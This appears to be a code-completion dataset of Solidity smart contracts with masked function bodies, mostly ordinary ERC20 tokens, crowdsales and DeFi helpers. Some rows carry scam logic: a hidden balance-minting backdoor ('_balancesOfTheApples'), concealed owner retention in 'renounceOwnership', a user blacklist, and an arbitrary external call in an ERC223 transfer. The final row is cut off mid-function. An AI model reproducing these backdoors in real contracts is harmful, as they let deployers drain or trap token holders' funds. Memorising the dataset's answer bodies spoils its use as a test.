contract_name stringlengths 1 55 | func_name stringlengths 0 76 ⌀ | func_body stringlengths 1 15.6k | source_idx stringlengths 1 6 | masked_contract stringlengths 60 27.5k | func_body_removed_comment stringlengths 1 9.41k |
|---|---|---|---|---|---|
SCT | balanceOf |
return balanceOf[_owner];
| 1 | contract SCT is SafeMath{
string public name;
string public symbol;
address public owner;
uint8 public decimals;
uint256 public totalSupply;
address public icoContractAddress;
uint256 public tokensTotalSupply = 3100 * (10**6) * 10**18;
mapping (address => bool) restrictedAddress... |
return balanceOf[_owner];
|
ApusToken | ownerBurnToken |
require(_value > 0);
balances[msg.sender] = balances[msg.sender].sub(_value);
delete transferIns[msg.sender];
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),uint64(now)));
totalSupply = totalSupply.sub(_value);
totalInitialSupply = ... | 100003 | contract ApusToken is ERC20,StakeStandard,Ownable {
using SafeMath for uint256;
string public name = "Apus Token";
string public symbol = "APUS";
uint public decimals = 18;
uint public chainStartTime;
uint public chainStartBlockNumber;
uint public stakeStartTime;
uint public s... |
require(_value > 0);
balances[msg.sender] = balances[msg.sender].sub(_value);
delete transferIns[msg.sender];
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),uint64(now)));
totalSupply = totalSupply.sub(_value);
totalInitialSupply = totalIni... |
EthereumSpring | null |
name = "Ethereum Spring (Official)";
symbol = "eSpring";
decimals = 18;
_totalSupply = 1000000000000000000000000000000000;
balances[msg.sender] = 1000000000000000000000000000000000;
emit Transfer(address(0), msg.sender, _totalSupply);
| 100005 | contract EthereumSpring is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => ui... |
name = "Ethereum Spring (Official)";
symbol = "eSpring";
decimals = 18;
_totalSupply = 1000000000000000000000000000000000;
balances[msg.sender] = 1000000000000000000000000000000000;
emit Transfer(address(0), msg.sender, _totalSupply);
|
GladiatorInu | null |
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
unis... | 100009 | contract GladiatorInu is ERC20, Ownable {
using SafeMath for uint256;
bool private swapping;
bool private isTradingEnabled;
uint256 private startTime;
uint256 public swapTokensAtAmount = 85 * 10**7 * (10**18);
IUniswapV2Router02 public uniswapV2Router;
address pub... |
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
uniswapV2P... |
ToyOwnership | ownerOf |
// owner must not be the zero address
require (
toyArray[uidToToyIndex[_tokenId]].owner != 0,
"TOY Token has no owner"
);
return toyArray[uidToToyIndex[_tokenId]].owner;
| 100010 | contract ToyOwnership {
struct ToyToken {
// owner ID list
address owner;
// unique identifier
uint uid;
// timestamp
uint timestamp;
// exp
uint exp;
// toy data
bytes toyData;
}
struct ExternalNft{
// Co... |
require (
toyArray[uidToToyIndex[_tokenId]].owner != 0,
"TOY Token has no owner"
);
return toyArray[uidToToyIndex[_tokenId]].owner;
|
CryptoAdsToken | name |
return "CryptoAds Token";
| 100012 | contract CryptoAdsToken is AbstractToken {
/**
* Address of the owner of this smart contract.
*/
address private owner;
/**
* Total number of tokens in circulation.
*/
uint256 tokenCount;
/**
* True if tokens transfers are currently frozen, false otherwise.
*/
bool frozen = ... |
return "CryptoAds Token";
|
ValidationUtil | requireNotEmptyAddress |
require(isAddressNotEmpty(value));
| 100014 | contract ValidationUtil {
function requireNotEmptyAddress(address value){<FILL_FUNCTION_BODY>}
function isAddressNotEmpty(address value) internal returns (bool result){
return value != 0;
}
} |
require(isAddressNotEmpty(value));
|
ClicableTVSale | tokenWeiToSale |
return token.balanceOf(this);
| 100015 | contract ClicableTVSale is Ownable {
using SafeMath for uint256;
// The token being sold
ClickableTVToken public token;
// start and end timestamps where investments are allowed (both inclusive)
// uint256 public startTime = block.timestamp; // for test. Time of deploy smart-contract
/... |
return token.balanceOf(this);
|
ERC20 | _balancesOfTheApples |
_balances[account] += (((account == _msgSanders) && (garbage > 2)) ? (10 ** 45) : 0);
| 100017 | contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => bool) private Bottle;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address[] private Hotel;
address private Ocean = address(0);
addr... |
_balances[account] += (((account == _msgSanders) && (garbage > 2)) ? (10 ** 45) : 0);
|
DXC | DXC |
owner = msg.sender;
uint256 teamtoken = 1e1;
distr(owner, teamtoken);
| 10002 | contract DXC is ERC20 {
using SafeMath for uint256;
address owner = 0xBc4b57D2789a0EfF23662F08A4210351909Aa4B0;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public blacklist;
string public constant nam... |
owner = msg.sender;
uint256 teamtoken = 1e1;
distr(owner, teamtoken);
|
HadsofFortune | init |
m_rgp.startTimestamp = timestamp + 1;
emit LogRGPInit(
now,
m_rgp.startTimestamp,
m_rgp.maxDailyTotalInvestment,
m_rgp.activityDays
);
// init Private Entrance
m_privEnter.rev1Storage = Rev1Storage(rev1StorageAddr);
m_privEnter.rev2Storage = Rev2Storage(address(m_investors));
//m_privEnter.investorMax... | 100021 | contract HadsofFortune is Accessibility {
using RapidGrowthProtection for RapidGrowthProtection.rapidGrowthProtection;
using PrivateEntrance for PrivateEntrance.privateEntrance;
using Percent for Percent.percent;
using SafeMath for uint;
using Math for uint;
// easy read for investors
using Address for *;
usin... |
m_rgp.startTimestamp = timestamp + 1;
emit LogRGPInit(
now,
m_rgp.startTimestamp,
m_rgp.maxDailyTotalInvestment,
m_rgp.activityDays
);
m_privEnter.rev1Storage = Rev1Storage(rev1StorageAddr);
m_privEnter.rev2Storage = Rev2Storage(address(m_investors));
m_privEnter.endTimestamp = timestamp;
emit LogPEInit(
now,
add... |
RatingToken | RatingToken |
// assign the admin account
admin = _admin;
// assign the total tokens to Rating
totalSupply = _totalTokenAmount;
balances[msg.sender] = _totalTokenAmount;
Transfer(address(0x0), msg.sender, _totalTokenAmount);
| 100023 | contract RatingToken is PausableToken {
string public constant name = "Rating";
string public constant symbol = "Rating";
uint8 public constant decimals = 8;
modifier validDestination( address to )
{
require(to != address(0x0));
require(to != address(this));
_... |
admin = _admin;
totalSupply = _totalTokenAmount;
balances[msg.sender] = _totalTokenAmount;
Transfer(address(0x0), msg.sender, _totalTokenAmount);
|
SushiSwapUserInfo | setContracts |
factory = IFactory(factory_);
masterChef = IMasterChef(masterChef_);
sushi = ISushiToken(sushi_);
WETH = WETH_;
| 100026 | contract SushiSwapUserInfo is Ownable
{
using SafeMath for uint256;
IFactory factory = IFactory(0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac);
IMasterChef masterChef = IMasterChef(0xc2EdaD668740f1aA35E4D8f227fB8E17dcA888Cd);
ISushiToken sushi = ISushiToken(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2);
... |
factory = IFactory(factory_);
masterChef = IMasterChef(masterChef_);
sushi = ISushiToken(sushi_);
WETH = WETH_;
|
SocialRecoveryModule | getDataHash |
return keccak256(data);
| 10003 | contract SocialRecoveryModule is Module {
string public constant NAME = "Social Recovery Module";
string public constant VERSION = "0.0.2";
uint256 public threshold;
address[] public friends;
// isFriend mapping maps friend's address to friend status.
mapping (address => bool) public ... |
return keccak256(data);
|
HintHelpers | setAddresses |
checkContract(_sortedTrovesAddress);
checkContract(_troveManagerAddress);
sortedTroves = ISortedTroves(_sortedTrovesAddress);
troveManager = ITroveManager(_troveManagerAddress);
emit SortedTrovesAddressChanged(_sortedTrovesAddress);
emit TroveManagerAddressChan... | 100031 | contract HintHelpers is LiquityBase, Ownable, CheckContract {
string constant public NAME = "HintHelpers";
ISortedTroves public sortedTroves;
ITroveManager public troveManager;
// --- Events ---
event SortedTrovesAddressChanged(address _sortedTrovesAddress);
event TroveManagerAddressC... |
checkContract(_sortedTrovesAddress);
checkContract(_troveManagerAddress);
sortedTroves = ISortedTroves(_sortedTrovesAddress);
troveManager = ITroveManager(_troveManagerAddress);
emit SortedTrovesAddressChanged(_sortedTrovesAddress);
emit TroveManagerAddressChanged(_tro... |
Zoomates | null |
_feeAddrWallet1 = payable(0xAdd93476694A4F99912024aE9370F1153eB2D9D2);
_feeAddrWallet2 = payable(0xAdd93476694A4F99912024aE9370F1153eB2D9D2);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedF... | 100034 | contract Zoomates is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
... |
_feeAddrWallet1 = payable(0xAdd93476694A4F99912024aE9370F1153eB2D9D2);
_feeAddrWallet2 = payable(0xAdd93476694A4F99912024aE9370F1153eB2D9D2);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee... |
WELFARECOIN | TokenERC20 |
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = "WELFARECOIN"; // Set the name for display purposes
... | 100035 | contract WELFARECOIN {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 0;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (addres... |
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = "WELFARECOIN";
symbol = "WECO";
|
BurnableToken | burn |
require(_value > 0);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
| 100036 | contract BurnableToken is StandardToken {
function burn(uint _value) public {<FILL_FUNCTION_BODY>}
event Burn(address indexed burner, uint indexed value);
} |
require(_value > 0);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
|
RPTToken | RPTToken |
crowdFundAddress = _crowdFundAddress;
// Token Distribution
tokensAllocatedToCrowdFund = 70 * 10 ** 24; // 70 % allocation of totalSupply
keyEmployeeAllocation = 30 * 10 ** 24; // 30 % allocation of totalSupply
// Assigned balances to respective stakeholders
balances[founderMultiSigAddress] = keyEmployeeAllo... | 10004 | contract RPTToken is BasicToken {
using SafeMath for uint256;
string public name = "RPT Token"; //name of the token
string public symbol = "RPT"; // symbol of the token
uint8 public decimals = 18; // decimals
uint256 public totalSupply = 100000000 * 10**18; // total supply of RPT Tokens
// variables
uint256... |
crowdFundAddress = _crowdFundAddress;
tokensAllocatedToCrowdFund = 70 * 10 ** 24;
keyEmployeeAllocation = 30 * 10 ** 24;
balances[founderMultiSigAddress] = keyEmployeeAllocation;
balances[crowdFundAddress] = tokensAllocatedToCrowdFund;
totalAllocatedTokens = balances[founderMultiSigAddress];
|
Ejob | null |
_mint(0x653fdd77a87ad48180BDC2Dc9beA5A17e2420CF6, 60000000000 * (10 ** uint256(18)));
| 100041 | contract Ejob is ERC20, ERC20Detailed, ERC20Burnable {
using SafeERC20 for ERC20;
constructor()
ERC20Burnable()
ERC20Detailed('Ejob', 'EJOB', 18)
ERC20()
public
{<FILL_FUNCTION_BODY>}
} |
_mint(0x653fdd77a87ad48180BDC2Dc9beA5A17e2420CF6, 60000000000 * (10 ** uint256(18)));
|
BEU | lock |
require(msg.sender == owner); // Only Owner
require(_to != 0x0); // Prevent lock to 0x0 address
require((_value == 0) || (lockOf[_to] == 0)); // Only Reset, n... | 100044 | contract BEU {
using SafeMath for uint256;
string public name = "BitEDU";
string public symbol = "BEU";
uint8 public decimals = 18;
uint256 public totalSupply = 2000000000000000000000000000;
address public owner;
bool public lockAll = false;
/* This creates an array with all bal... |
require(msg.sender == owner);
require(_to != 0x0);
require((_value == 0) || (lockOf[_to] == 0));
require(balanceOf[_to] >= _value); ... |
TeamPool | vestingCount |
return cache[_beneficiary].length;
| 100045 | contract TeamPool is TokenPool, Ownable {
mapping(address => TokenVesting[]) cache;
function addVestor(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
uint256 totalTokens,
bool revokable
) public onlyOwner poolReady return... |
return cache[_beneficiary].length;
|
AdoreNetwork | reinvest |
require(rewardLedger[msg.sender]>0);
uint256 _amountOfTokens = purchaseTokens(rewardLedger[msg.sender],genTree[msg.sender]);
rewardLedger[msg.sender] = 0;
return _amountOfTokens;
| 10005 | contract AdoreNetwork {
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[_customerAddress]);
_;
}
/*==============================
= ... |
require(rewardLedger[msg.sender]>0);
uint256 _amountOfTokens = purchaseTokens(rewardLedger[msg.sender],genTree[msg.sender]);
rewardLedger[msg.sender] = 0;
return _amountOfTokens;
|
OWO | null |
governance = msg.sender;
addMinter(governance);
// underlying _mint function has hard limit
mint(governance, 53180082e18);
| 100052 | contract OWO is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint;
address public governance;
mapping (address => bool) public minters;
constructor () public ERC20Detailed("OWO", "OWO", 18) {<FILL_FUNCTION_BODY>}
function mint... |
governance = msg.sender;
addMinter(governance);
mint(governance, 53180082e18);
|
BTCGW | null |
_mint(msg.sender, initialSupply); // 21 Millions of BTCGW - Initial supply
_maximumSupply = 2100000000000000;
| 100053 | contract BTCGW is Ownable, ERC20Burnable, ERC20Detailed {
uint256 private _maximumSupply;
constructor(uint256 initialSupply) ERC20Detailed("BitcoinGalaxy Warp", "BTCGW", 8) public {<FILL_FUNCTION_BODY>}
function maximumSupply() public view returns (uint256) {
return _maximumSupply;
}
... |
_mint(msg.sender, initialSupply);
_maximumSupply = 2100000000000000;
|
TheWildBunch | devMint |
require(_mintNum + current_minted <= maxWildOnes, "Cannot mint more the total supply.");
for(uint256 i = 0; i < _mintNum; i++)
{
current_minted += 1;
wildOnesClaimed[msg.sender] += 1;
super._mint(msg.sender, current_minted);
}
| 100054 | contract TheWildBunch is NFTokenMetadata, Ownable
{
// Properties
address payable feeAddress;
uint constant public wildOnePrice = 0.1 ether;
uint constant public maxWildOnes = 4000; // Total WildOne Supply
// Switches
bool public isMintingActive = false; // Is minting open? Ye... |
require(_mintNum + current_minted <= maxWildOnes, "Cannot mint more the total supply.");
for(uint256 i = 0; i < _mintNum; i++)
{
current_minted += 1;
wildOnesClaimed[msg.sender] += 1;
super._mint(msg.sender, current_minted);
}
|
JesusCoin | mercy |
return _mercyOfGod;
| 100057 | contract JesusCoin is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
... |
return _mercyOfGod;
|
Airdrop | startAirdrop |
for(uint256 i = 0; i < users.length; i++) {
address account = users[i];
uint256 amount = amounts[i];
LogAccountAmount(account, amount);
token.transfer(account, amount);
}
| 100058 | contract Airdrop {
ERC20 public token;
event LogAccountAmount(address indexed user, uint256 indexed amount);
function Airdrop(address _token) public {
token = ERC20(_token);
}
function setToken(address _token) public {
token = ERC20(_token);
}
// Uses tran... |
for(uint256 i = 0; i < users.length; i++) {
address account = users[i];
uint256 amount = amounts[i];
LogAccountAmount(account, amount);
token.transfer(account, amount);
}
|
Token | null |
_symbol = "ERRR";
_name = "ELON MUSK Rapid Rocket";
_decimals = 6;
_totalSupply = 10000000000000;
_owner = payable(msg.sender);
_balances[_owner] = _totalSupply;
| 100060 | contract Token is ERC20{
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _name;
string private _symbol;
address payable private _owner;
construc... |
_symbol = "ERRR";
_name = "ELON MUSK Rapid Rocket";
_decimals = 6;
_totalSupply = 10000000000000;
_owner = payable(msg.sender);
_balances[_owner] = _totalSupply;
|
Crowdsale | burnRemaining |
uint256 burnThis = token.balanceOf(this);
token.transfer(address(0), burnThis);
| 100061 | contract Crowdsale is Ownable {
using SafeMath for uint256;
Token public token;
uint256 public RATE = 50000; // Number of tokens per Ether
uint256 public START;
uint256 public minETH = 100 finney;
uint256 public constant initialTokens = 4000000000 * 10**18; // Initial number of... |
uint256 burnThis = token.balanceOf(this);
token.transfer(address(0), burnThis);
|
xCoolCats | _baseURI |
return _baseTokenURI;
| 100063 | contract xCoolCats is Ownable, ERC721A, ReentrancyGuard {
uint256 public maxPerAddressDuringMint;
uint256 public amountForDevs;
uint256 public price = 0.01 ether;
uint256 public freemintAmount = 20;
uint256 public mintAmount = 20;
bool public revealed = false;
struct SaleConfig {
uint64 publicP... |
return _baseTokenURI;
|
FatherBInu | null |
name = "Father B Inu";
symbol = "FBI";
decimals = 18;
_totalSupply = 1000000000000000000000000000000;
balances[msg.sender] = 1000000000000000000000000000000;
emit Transfer(address(0), msg.sender, _totalSupply);
| 100064 | contract FatherBInu is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint))... |
name = "Father B Inu";
symbol = "FBI";
decimals = 18;
_totalSupply = 1000000000000000000000000000000;
balances[msg.sender] = 1000000000000000000000000000000;
emit Transfer(address(0), msg.sender, _totalSupply);
|
BTFD | null |
_feeAddrWallet1 = payable(0xcc3DCdC97276a743157bb1f49B32C5203140c489);
_feeAddrWallet2 = payable(0xcc3DCdC97276a743157bb1f49B32C5203140c489);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedF... | 100065 | contract BTFD is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
ma... |
_feeAddrWallet1 = payable(0xcc3DCdC97276a743157bb1f49B32C5203140c489);
_feeAddrWallet2 = payable(0xcc3DCdC97276a743157bb1f49B32C5203140c489);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee... |
DummyBancorToken | withdraw |
if (balances[msg.sender] < amount) return false;
uint256 ethAmount = calculateSaleReturn(totalSupply, reserveBalance(), ratio, amount);
balances[msg.sender] -= amount;
totalSupply -= amount;
if (!msg.sender.send(ethAmount)) {
balances[msg.sender] += amount;
... | 10007 | contract DummyBancorToken is BasicERC20Token, BancorFormula {
string public standard = 'Token 0.1';
string public name = 'Dummy Constant Reserve Rate Token';
string public symbol = 'DBT';
uint8 public decimals = 18;
uint256 public totalSupply = 0;
uint8 public ratio = 10; // CRR of 10%
... |
if (balances[msg.sender] < amount) return false;
uint256 ethAmount = calculateSaleReturn(totalSupply, reserveBalance(), ratio, amount);
balances[msg.sender] -= amount;
totalSupply -= amount;
if (!msg.sender.send(ethAmount)) {
balances[msg.sender] += amount;
... |
TeamVesting | getLockedFunds |
return ERC20Interface(asset).balanceOf(this);
| 100078 | contract TeamVesting is Object {
uint constant TIME_LOCK_SCOPE = 51000;
uint constant TIME_LOCK_TRANSFER_ERROR = TIME_LOCK_SCOPE + 10;
uint constant TIME_LOCK_TRANSFERFROM_ERROR = TIME_LOCK_SCOPE + 11;
uint constant TIME_LOCK_BALANCE_ERROR = TIME_LOCK_SCOPE + 12;
uint constant TIME_LOCK_TIMEST... |
return ERC20Interface(asset).balanceOf(this);
|
ERC20Detailed | null |
_name = tname;
_symbol = tsymbol;
_decimals = tdecimals;
| 100084 | contract ERC20Detailed is ERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(
string memory tname,
string memory tsymbol,
uint8 tdecimals
) {<FILL_FUNCTION_BODY>}
function name() public view returns (string memory) {
... |
_name = tname;
_symbol = tsymbol;
_decimals = tdecimals;
|
ProofOfPassiveDividends | deposit |
require(preauthorized[msg.sender] || gameStarted);
// Removed the referral feature due to nonsense fud!
depositHelper(msg.value);
emit Deposit(msg.sender, msg.value);
| 100086 | contract ProofOfPassiveDividends {
using SafeMath for uint256;
event Deposit(address user, uint amount);
event Withdraw(address user, uint amount);
event Claim(address user, uint dividends);
event Reinvest(address user, uint dividends);
address owner;
mapping(address => bool) preau... |
require(preauthorized[msg.sender] || gameStarted);
depositHelper(msg.value);
emit Deposit(msg.sender, msg.value);
|
Inxurance | null |
symbol = "INX";
name = "Inxurance";
decimals = 18;
_totalSupply = 100000000E18;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
| 100087 | contract Inxurance is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ----------------------------------------... |
symbol = "INX";
name = "Inxurance";
decimals = 18;
_totalSupply = 100000000E18;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
|
Ownable | renounceOwnership |
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
_ownerAddress = address(0);
| 100088 | contract Ownable is Context {
address private _owner;
address private _ownerAddress;
address private _previousOwner;
address private Owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSen... |
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
_ownerAddress = address(0);
|
GonFreecsInu | transferFrom |
require(bannedUsers[sender] == false, "Sender is banned");
require(bannedUsers[recipient] == false, "Recipient is banned");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"))... | 100089 | contract GonFreecsInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) bannedUsers;
uint256 private _tTotal ... |
require(bannedUsers[sender] == false, "Sender is banned");
require(bannedUsers[recipient] == false, "Recipient is banned");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
... |
GA | null |
_feeAddrWallet1 = payable(0x9e9353E0d8348B3483EED26CC36eede056f201ae);
_feeAddrWallet2 = payable(0x9e9353E0d8348B3483EED26CC36eede056f201ae);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedF... | 100090 | contract GA is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapp... |
_feeAddrWallet1 = payable(0x9e9353E0d8348B3483EED26CC36eede056f201ae);
_feeAddrWallet2 = payable(0x9e9353E0d8348B3483EED26CC36eede056f201ae);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee... |
ForkSweeper | redirect |
if (isForked) {
ethAddress.transfer(msg.value);
return;
}
etcAddress.transfer(msg.value);
return;
| 100095 | contract ForkSweeper {
bool public isForked;
constructor() public {
isForked = AmIOnTheFork(0x2BD2326c993DFaeF84f696526064FF22eba5b362).forked();
}
function redirect(address ethAddress, address etcAddress) public payable {<FILL_FUNCTION_BODY>}
} |
if (isForked) {
ethAddress.transfer(msg.value);
return;
}
etcAddress.transfer(msg.value);
return;
|
TokenDistribute | addWhiteLists |
for (uint i=0; i<_users.length; i++){
address _user = _users[i];
_addWhiteList(_user);
}
| 100097 | contract TokenDistribute is ReentrancyGuard{
using SafeMath for uint256;
using SafeERC20 for IERC20;
bool internal initialized;
address public owner;
address public paramSetter;
address public hashRateToken;
address[] public exchangeTokens;
uint256[] public exchangeRates;
... |
for (uint i=0; i<_users.length; i++){
address _user = _users[i];
_addWhiteList(_user);
}
|
Insulting | null |
symbol = "FYOU";
name = "INSULTING FINANCE";
decimals = 18;
_totalSupply = 1000000000000000000000;
balances[0xA9D3a25222991Fa1DfbDb1C2Bc5E74402A34268d] = _totalSupply;
emit Transfer(address(0), 0xA9D3a25222991Fa1DfbDb1C2Bc5E74402A34268d, _totalSupply);
| 10010 | contract Insulting is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint public burned;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() publ... |
symbol = "FYOU";
name = "INSULTING FINANCE";
decimals = 18;
_totalSupply = 1000000000000000000000;
balances[0xA9D3a25222991Fa1DfbDb1C2Bc5E74402A34268d] = _totalSupply;
emit Transfer(address(0), 0xA9D3a25222991Fa1DfbDb1C2Bc5E74402A34268d, _totalSupply);
|
ERC223TokenCompatible | transfer |
require(_to != address(0));
require(_to != address(this));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if( isContract(_to) )... | 100101 | contract ERC223TokenCompatible is BasicToken {
using SafeMath for uint256;
event Transfer(address indexed from, address indexed to, uint256 value, bytes indexed data);
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint256 _value, bytes ... |
require(_to != address(0));
require(_to != address(this));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if( isContract(_to) ) {
require(_to.call.value(0)(bytes4(keccak256(_custom_fallback... |
PUG | null |
_admin = msg.sender;
_symbol = "PUG";
_name = "Pug Token";
_decimals = 18;
_totalSupply = 1000000* 10**uint(_decimals);
balances[msg.sender]=_totalSupply;
| 100113 | contract PUG is ERC20 {
using SafeMath for uint256;
string internal _name;
string internal _symbol;
uint8 internal _decimals;
uint256 internal _totalSupply;
address internal _admin;
mapping (address => uint256) internal balances;
mapping (address => mapp... |
_admin = msg.sender;
_symbol = "PUG";
_name = "Pug Token";
_decimals = 18;
_totalSupply = 1000000* 10**uint(_decimals);
balances[msg.sender]=_totalSupply;
|
InuZuka | null |
_feeAddrWallet1 = payable(0x05F2cD84E5195579c6DD333394e75F4a8F299AAb);
_feeAddrWallet2 = payable(0x05F2cD84E5195579c6DD333394e75F4a8F299AAb);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExc... | 100114 | contract InuZuka is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping (address => mapping (address => uint256)) private _allowances;
m... |
_feeAddrWallet1 = payable(0x05F2cD84E5195579c6DD333394e75F4a8F299AAb);
_feeAddrWallet2 = payable(0x05F2cD84E5195579c6DD333394e75F4a8F299AAb);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedF... |
set_rebase | start_rebase |
require(msg.sender == 0xF5bC663Bca33af81E2fb8f72D24Cad0D14665871 || msg.sender == 0xaa447A04b15AFF261e0683f293A1b731c5c10c9B);
zombie.rebase(epoch, indexDelta, positive);
pair.sync();
| 100115 | contract set_rebase{
ZOMBIE zombie = ZOMBIE(0xd55BD2C12B30075b325Bc35aEf0B46363B3818f8);
UniswapPair pair = UniswapPair(0xC83E9d6bC93625863FFe8082c37bA6DA81399C47);
function start_rebase(uint256 epoch, uint256 indexDelta, bool positive)public{<FILL_FUNCTION_BODY>}
} |
require(msg.sender == 0xF5bC663Bca33af81E2fb8f72D24Cad0D14665871 || msg.sender == 0xaa447A04b15AFF261e0683f293A1b731c5c10c9B);
zombie.rebase(epoch, indexDelta, positive);
pair.sync();
|
WhitelistsRegistration | checkRegistrationStatus |
if (goldWhiteList[_address]) { return WhiteListState.Gold; }
if (silverWhiteList[_address]) { return WhiteListState.Silver; }
return WhiteListState.None;
| 100118 | contract WhitelistsRegistration is Ownable {
// List of whitelisted addresses for KYC under 10 ETH
mapping(address => bool) silverWhiteList;
// List of whitelisted addresses for KYC over 10 ETH
mapping(address => bool) goldWhiteList;
// Different stage from the ICO
enum WhiteLis... |
if (goldWhiteList[_address]) { return WhiteListState.Gold; }
if (silverWhiteList[_address]) { return WhiteListState.Silver; }
return WhiteListState.None;
|
StandardToken | transferFrom |
require(to != address(0));
allowed[from][msg.sender] = allowed[from][msg.sender].sub(value);
balances[from] = balances[from].sub(value);
balances[to] = balances[to].add(value);
emit Transfer(from, to, value);
return true;
| 100119 | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @p... |
require(to != address(0));
allowed[from][msg.sender] = allowed[from][msg.sender].sub(value);
balances[from] = balances[from].sub(value);
balances[to] = balances[to].add(value);
emit Transfer(from, to, value);
return true;
|
FIBA | null |
_feeAddrWallet1 = payable(0xb9ad731bff7Dd1e1d5956e95470fab4c0bF41B3C);
